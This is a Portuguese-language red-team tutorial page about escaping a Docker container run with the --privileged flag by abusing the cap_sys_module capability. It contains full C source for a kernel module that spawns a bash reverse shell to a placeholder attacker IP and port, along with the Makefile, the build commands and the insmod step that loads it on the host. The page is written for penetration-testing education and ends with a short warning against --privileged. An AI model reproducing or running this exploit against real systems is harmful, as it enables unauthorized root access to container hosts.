🥷
Red Team Articles
Linktree
  • ⚙️Binary Exploitation
    • PWN com 1 byte
    • GOT e PLT
    • Hook na GOT
  • 🌐Web
    • Mysql Case Sensitive Problems
    • Ruby: regex authentication bypass
    • CVE-2023-38964
  • 📲Mobile
    • 🍎iOS Pentest
      • 🤖How to use Frida on iOS 17 without Jailbreak
      • 💻Setup Lab
      • 📦Insecure Data Storage
        • Dump keychain datas
      • 🔙Server Side Vulnerabilities
        • Setup Proxy
        • Pentest on Server Side
      • ⚙️Client Side Vulnerabilities
        • Account theft
        • Insecure Logging
      • 🖱️Pasteboard & Clipboard
    • 🤖Android Pentest
      • AB - Android Backup
  • 🐳Docker
    • 🚪Backdooring docker container
    • 🪜Docker breakout
      • docker.sock
      • privileged flag
      • environments
    • 🏎️Docker assessment
      • Assessment with trivy
      • Assessment with docker bench security
    • 🛡️Defenses
      • AppArmor
      • SecComp
      • Capabilities
      • Docker content trust
    • 📖Namespaces
  • 🖥️SSH Tricks
  • Network
    • VPN WireGuard com pfSense + RestAPI
Powered by GitBook
On this page
  • Apresentação
  • Capabilities
  • Recon
  • Conclusão
  1. Docker
  2. Docker breakout

privileged flag

Previousdocker.sockNextenvironments

Last updated 2 years ago

Apresentação

Quando um contêiner é executado usando a flag --privileged, esse contêiner possui mais capabilities, e com isso podemos atacar esse contêiner e conseguir acesso ao host.

Capabilities

As capabilities representam a capacidade de um processo acessar um certo recurso, limitando ou disponibilizando tal permissão, por exemplo, a capabilitie cap_sys_module tem permissão de carregar módulos de kernel no linux.

Recon

Para ver as capabilities que o contêiner tem acesso podemos utilizar o seguinte comando

capsh --print

Caso não exista esse comando no contêiner, você pode instalar ele, no meu caso vou usar o utilitário de gerenciamento de pacotes APK do alpine

apk add -U libcap

Irei mostrar o resultado em dois contêiners, um possui a flag. --privileged setada e o outro não

Circulei os 3 capabilities perigosos

  • cap_sys_module

  • cap_sys_ptrace

  • cap_sys_admin

Irei mostrar a exploração através do cap_sys_module, vamos simplesmente pegar um módulo de kernel que faça uma reverse shell e carregar esse módulo no docker que consequetemente ele irá carregar no host, assim a gente irá pegar revshell no host.

Vamos criar esse arquivo chamado "priv.c"

#include <linux/kmod.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>

static char command[50] = "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1";

char* argv[] = {"/bin/bash","-c", command, NULL};
static char* envp[] = {"HOME=/",NULL};

static int __init connect_back_init(void) {

return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

}

static void __exit connect_back_exit(void){
printk(KERN_INFO "Exiting\n");
}

module_init(connect_back_init);
module_exit(connect_back_exit);

Após isso vamos criar o "Makefile"

obj-m = priv.o
KVERSION = $(shell uname -r)
all:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:
        make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean

Vamos compilar:

make

Após compilar teremos o arquivo .ko, vamos fazer o download dele no contêiner utilizando python3 no meu caso, após fazer o download, siga os comandos

chmod +x rev.ko && insmod rev.ko

Podemos verificar se o módulo foi carregado

Após isso só verificar o nosso listener

Conclusão

Não é uma boa prática utilizar a flag --privileged, caso usada o atacante pode mapear os capabilities disponíveis e utilizar eles para a escalação de privilégio, se for utilizar apenas por conta dos capabilities, olhe como gerenciar os capabilities sem a necessidade de usar a flag privileged.

🐳
🪜
aqui
Without privileged tag
With privileged tag